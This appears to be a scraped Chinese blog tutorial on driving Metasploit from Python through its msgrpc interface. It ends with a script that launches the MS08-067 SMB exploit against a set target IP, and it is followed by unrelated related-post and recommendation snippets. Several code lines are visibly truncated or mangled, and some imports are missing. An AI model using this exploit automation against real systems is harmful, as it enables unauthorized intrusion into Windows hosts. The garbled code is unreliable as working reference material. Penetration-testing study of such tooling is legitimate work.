Python 远程调用MetaSploit
(1)安装Python的msgpack类库。MSF官方文档中的数据序列化标准就是參照msgpack。
root@kali:~# apt-get install python-setuptools
root@kali:~# easy_install msgpack-python
(2)创建createdb_sql.txt:
create database msf;
create user msf with password 'msf123';
grant all privileges on database msf to msf;
(3)在PostgreSQL 运行上述文件:
root@kali:~# /etc/init.d/postgresql start
root@kali:~# sudo -u postgres /usr/bin/psql < createdb_sql.txt
(4)创建setup.rc文件
db_connect msf:msf123@127.0.0.1/msf
load msgrpc User=msf Pass='abc123'
(5)启动MSF并运行加载文件
root@kali:~# msfconsole -r setup.rc
* SNIP *
[*] Processing setup.rc for ERB directives.
resource (setup.rc)> db_connect msf:msf123@127.0.0.1/msf
[*] Rebuilding the module cache in the background...
resource (setup.rc)> load msgrpc User=msf Pass='abc123'
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc
(6)Github上有一个Python的类库,只是非常不好用
root@kali:~# git clone git://github.com/SpiderLabs/msfrpc.git msfrpc
root@kali:~# cd msfrpc/python-msfrpc
root@kali:~# python setup.py install
測试代码:
#!/usr/bin/env python
import msgpack
import httplib
class Msfrpc:
class MsfError(Exception):
def __init__(self,msg):
self.msg = msg
def __str__(self):
return repr(self.msg)
class MsfAuthError(MsfError):
def __init__(self,msg):
self.msg = msg
def __init__(self,opts=[]):
self.host = opts.get('host') or "127.0.0.1"
self
self.uri = opts.get('uri') or "/api/"
self.ssl = opts.get('ssl') or False
self.authenticated = False
self.token = False
self.headers = {"Content-type" : "binary/message-pack" }
if self.ssl:
self.client = httplib.HTTPSConnection(self.host,self.port)
else:
self.client = httplib.HTTPConnection(self.host,self.port)
def encode(self,data):
return msgpack.packb(data)
def decode(self,data):
return msgpack.unpackb(data)
def call(self,meth,opts = []):
if meth != "auth.login":
if not self.authenticated:
raise self.MsfAuthError("MsfRPC: Not Authenticated")
if meth != "auth.login":
opts,self.token)
opts,meth)
params = self.encode(opts)
self.client.request("POST",self.uri,params,self.headers)
resp = self.client.getresponse()
return self.decode(resp.read())
def login(self,user,password):
ret = self.call('auth.login',[user,password])
if ret.get('result') == 'success':
self.authenticated = True
self.token = ret.get('token')
return True
else:
raise self.MsfAuthError("MsfRPC: Authentication failed")
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options
client = Msfrpc({})
# Login to the msfmsg server using the password "abc123"
client.login('msf','abc123')
# Get a list of the exploits from the server
mod = client.call('module.exploits')
# Grab the first item from the modules value of the returned dict
]
# Get the list of compatible payloads for the first option
ret ]])
for i in (ret.get('payloads')):
print "\t%s" % i
Console方式调用Ms08067漏洞
if __name__ == '__main__':
# Create a new instance of the Msfrpc client with the default options
client = Msfrpc({})
# Login to the msfmsg server using the password "abc123"
client.login('msf','abc123')
try:
res = client.call('console.create')
console_id = res['id']
except:
print "Console create failed\r\n"
sys.exit()
host_list = '192.168.7.135'
cmd = """use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.7.135
exploit
"""
client.call('console.write',[console_id,cmd])
time.sleep(1)
while True:
res = client.call('console.read',[console_id])
if len(res['data']) > 1:
print res['data'],
if res['busy'] == True:
time.sleep(1)
continue
break
client.call('console.destroy',[console_id])
Python 远程调用MetaSploit的更多相关文章
- Testlink接口使用方法-python语言远程调用
deepin@deepin-pc:~/test$ cat libclienttestlink.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- #! ...
- 【转】Python中实现远程调用(RPC、RMI)简单例子
远程调用使得调用远程服务器的对象.方法的方式就和调用本地对象.方法的方式差不多,因为我们通过网络编程把这些都隐藏起来了.远程调用是分布式系统的基础. 远程调用一般分为两种,远程过程调用(RPC)和远程 ...
- python调用metasploit里的MS-17-010模块进行漏洞攻击
起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编 也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了. 0x01 攻击机:192.168.223. ...
- Metasploit远程调用Nessus出错
Metasploit远程调用Nessus出错 从Nessus 7.1开始,Metaspliot远程调用Nessus创建新的扫描任务,会出现以下错误信息: [*] New scan added ...
- Python中实现远程调用(RPC、RMI)简单例子
说白了,远程调用就是将对象名.函数名.参数等传递给远程服务器,服务器将处理结果返回给客户端 远程调用使得调用远程服务器的对象.方法的方式就和调用本地对象.方法的方式差不多,因为我们通过网络编程把这 ...
- JSON-RPC轻量级远程调用协议介绍及使用
这个项目能够帮助开发人员利用Java编程语言轻松实现JSON-RPC远程调用.jsonrpc4j使用Jackson类库实现Java对象与JSON对象之间的相互转换.jsonrpc4j包含一个JSON- ...
- (转)RabbitMQ消息队列(七):适用于云计算集群的远程调用(RPC)
在云计算环境中,很多时候需要用它其他机器的计算资源,我们有可能会在接收到Message进行处理时,会把一部分计算任务分配到其他节点来完成.那么,RabbitMQ如何使用RPC呢?在本篇文章中,我们将会 ...
- Python远程视频监控
Python远程视频监控程序 老板由于事务繁忙无法经常亲临教研室,于是让我搞个监控系统,让他在办公室就能看到教研室来了多少人.o(>﹏<)o||| 最初我的想法是直接去网上下个软件,可 ...
- java 远程调用 RPC
1. 概念 RPC,全称为Remote Procedure Call,即远程过程调用,它是一个计算机通信协议.它允许像调用本地服务一样调用远程服务.它可以有不同的实现方式.如RMI(远程方法调用).H ...
随机推荐
- 修改CAS源码是的基于DB的认证方式配置更灵活
最近在做CAS配置的时候,遇到了数据源不提供密码等数据的情况下,怎样实现密码输入认证呢? 第一步:新建Java项目,根据假面算法生成CAS加密工具 出于保密需要不提供自定义的加密工具,在您的实际项目中 ...
- 计算某个时间段(2017-10-01 2017-12-01)内svn更新文件的MD5
#!/bin/sh svn up svn log -v -r {$1}:{$2} | grep / | grep -v xxx | sort -f -u | uniq | awk -F 'xxxx' ...
- 树莓派-USB存储设备自动挂载
简单介绍实现命令行下USB存储设备自动挂载的方法,Linux gnome/kde窗口环境下有移动存储的管理程序,可以实现自动挂载移动存储设备,但是在命令行下 通常需要用mount命令手动挂载USB存储 ...
- Quartz 表达式的学习
只记录用到过的,不全面 Quartz版本:quartz-all-1.6.0.jar 先看图 其他示例: 0 5,6,13 * * ? 意义:每日5:00,6:00,13:00 被触发 0 10,30 ...
- SecureCRT连接Ubuntu报The remote system refused the connection.解决方案
使用SecureCRT连接到远程Ubuntu,连接失败报The remote system refused the connection. 进入Ubuntu系统,终端中敲入以下命令: ps -ef|g ...
- intellij IDEA常见操作
1.中文乱码设置:file - setting - Editor - File Encodings 设置为UTF-8 2.tomcat重新启动:Ctrl-F5,或者左上角 3.删除progect 先c ...
- [2月1号] 努比亚全机型ROM贴 最全最新NubiaUI5.0 ROOT 极速体验
前言 感谢在开发过程中mandfx和dgtl198312予以的帮助!本帖将整理所有Nubia手机的最新刷机包,还有少数机型未制作刷机包,需要的机油可以联系我制作recovery以及刷机包加群23722 ...
- js实现年月日三级联动
当我们注册一个qq的时候,会看到一个三级年月日的联动菜单,下面简单介绍. <!doctype html> <html lang="en"> <head ...
- 安卓代码迁移:Make.exe: *** [libs/armabi-v7a/gdbserver] Error 1
解决办法1:安装ndk和eclipse修改为x86操作系统 解决办法2:降低更换NDK版本
- jboss的下载安装、环境变量配置以及部署
1. 下载安装 http://jbossas.jboss.org/downloads/ jdk为1.7 我下载的是:JBoss AS7.1.1.Final 2. 解压安装包 D:\program ...